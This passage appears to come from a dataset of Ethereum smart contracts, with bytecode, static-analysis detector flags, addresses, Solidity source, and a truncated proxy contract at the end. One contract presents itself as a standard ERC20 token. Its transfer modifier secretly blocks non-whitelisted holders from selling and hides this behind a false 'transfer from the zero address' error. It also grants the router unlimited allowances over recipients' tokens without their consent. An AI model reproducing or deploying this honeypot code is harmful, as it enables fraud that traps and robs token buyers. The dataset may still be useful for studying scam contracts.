65b91505092915050565b600060208284031215612cf857600080fd5b6000612d0684828501612c54565b91505092915050565b60008060408385031215612d2257600080fd5b6000612d3085828601612c3f565b9250506020612d4185828601612c3f565b9150509250929050565b600080600060608486031215612d6057600080fd5b6000612d6e86828701612c3f565b9350506020612d7f86828701612c3f565b9250506040612d9086828701612c93565b9150509250925092565b60008060408385031215612dad57600080fd5b6000612dbb85828601612c3f565b9250506020612dcc85828601612c93565b9150509250929050565b600060208284031215612de857600080fd5b6000612df684828501612c69565b91505092915050565b600060208284031215612e1157600080fd5b6000612e1f84828501612c7e565b91505092915050565b600060208284031215612e3a57600080fd5b6000612e4884828501612c93565b91505092915050565b600080600060608486031215612e6657600080fd5b6000612e7486828701612ca8565b9350506020612e8586828701612ca8565b9250506040612e9686828701612ca8565b9150509250925092565b6000612eac8383612eb8565b60208301905092915050565b612ec18161358f565b82525050565b612ed08161358f565b82525050565b6000612ee182613435565b612eeb8185613458565b9350612ef683613425565b8060005b83811015612f27578151612f0e8882612ea0565b9750612f198361344b565b925050600181019050612efa565b5085935050505092915050565b612f3d816135a1565b82525050565b612f4c816135e4565b82525050565b6000612f5d82613440565b612f678185613469565b9350612f778185602086016135f6565b612f80816136d0565b840191505092915050565b6000612f98602383613469565b9150612fa3826136e1565b604082019050919050565b6000612fbb602a83613469565b9150612fc682613730565b604082019050919050565b6000612fde602283613469565b9150612fe98261377f565b604082019050919050565b6000613001601b83613469565b915061300c826137ce565b602082019050919050565b6000613024601d83613469565b915061302f826137f7565b602082019050919050565b6000613047602183613469565b915061305282613820565b604082019050919050565b600061306a602083613469565b91506130758261386f565b602082019050919050565b600061308d602983613469565b915061309882613898565b604082019050919050565b60006130b0602583613469565b91506130bb826138e7565b604082019050919050565b60006130d3602483613469565b91506130de82613936565b604082019050919050565b60006130f6601183613469565b915061310182613985565b602082019050919050565b613115816135cd565b82525050565b613124816135d7565b82525050565b600060208201905061313f6000830184612ec7565b92915050565b600060408201905061315a6000830185612ec7565b6131676020830184612ec7565b9392505050565b60006040820190506131836000830185612ec7565b613190602083018461310c565b9392505050565b600060c0820190506131ac6000830189612ec7565b6131b9602083018861310c565b6131c66040830187612f43565b6131d36060830186612f43565b6131e06080830185612ec7565b6131ed60a083018461310c565b979650505050505050565b600060208201905061320d6000830184612f34565b92915050565b6000602082019050818103600083015261322d8184612f52565b905092915050565b6000602082019050818103600083015261324e81612f8b565b9050919050565b6000602082019050818103600083015261326e81612fae565b9050919050565b6000602082019050818103600083015261328e81612fd1565b9050919050565b600060208201905081810360008301526132ae81612ff4565b9050919050565b600060208201905081810360008301526132ce81613017565b9050919050565b600060208201905081810360008301526132ee8161303a565b9050919050565b6000602082019050818103600083015261330e8161305d565b9050919050565b6000602082019050818103600083015261332e81613080565b9050919050565b6000602082019050818103600083015261334e816130a3565b9050919050565b6000602082019050818103600083015261336e816130c6565b9050919050565b6000602082019050818103600083015261338e816130e9565b9050919050565b60006020820190506133aa600083018461310c565b92915050565b600060a0820190506133c5600083018861310c565b6133d26020830187612f43565b81810360408301526133e48186612ed6565b90506133f36060830185612ec7565b613400608083018461310c565b9695505050505050565b600060208201905061341f600083018461311b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613485826135cd565b9150613490836135cd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134c5576134c4613672565b5b828201905092915050565b60006134db826135cd565b91506134e6836135cd565b9250826134f6576134f56136a1565b5b828204905092915050565b600061350c826135cd565b9150613517836135cd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135505761354f613672565b5b828202905092915050565b6000613566826135cd565b9150613571836135cd565b92508282101561358457613583613672565b5b828203905092915050565b600061359a826135ad565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135ef826135cd565b9050919050565b60005b838110156136145780820151818401526020810190506135f9565b83811115613623576000848401525b50505050565b6000613634826135cd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561366757613666613672565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139b78161358f565b81146139c257600080fd5b50565b6139ce816135a1565b81146139d957600080fd5b50565b6139e5816135cd565b81146139f057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a732cde8ef089be356662d6d4dddaecbb083acda1b39bda5a5ab9290720cf82964736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,677
0x93aba18629528b5a45ca1c787b2abaf0f9b139c2
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function upint(address addressn,uint8 Numb) public { require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;} } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ //NAOS.Finance function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} _;} function _transfer_coin(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611b0e60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1590919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611b7f6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611b5b6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611ac66022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b366025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611717576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b366025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561179d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611aa36023913960400191505060405180910390fd5b6117a8868686611a9d565b61181384604051806060016040528060268152602001611ae8602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a6846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1590919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611a02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119c75780820151818401526020810190506119ac565b50505050905090810190601f1680156119f45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611a93576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220a3f4e3c7cbc5f9f574dfc8056a6a054e8a30a33eab02652ec5ec8194cc45d7d564736f6c63430006060033
{"success": true, "error": null, "results": {}}
7,678
0xbe1A3b1857bCc9ACaE6b405Cf293f2229ef9EA5B
/** *Submitted for verification at Etherscan.io on 2021-02-10 */ pragma solidity ^0.6.6; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { // solhint-disable-next-line no-inline-assembly assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback () external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive () external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual { } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. 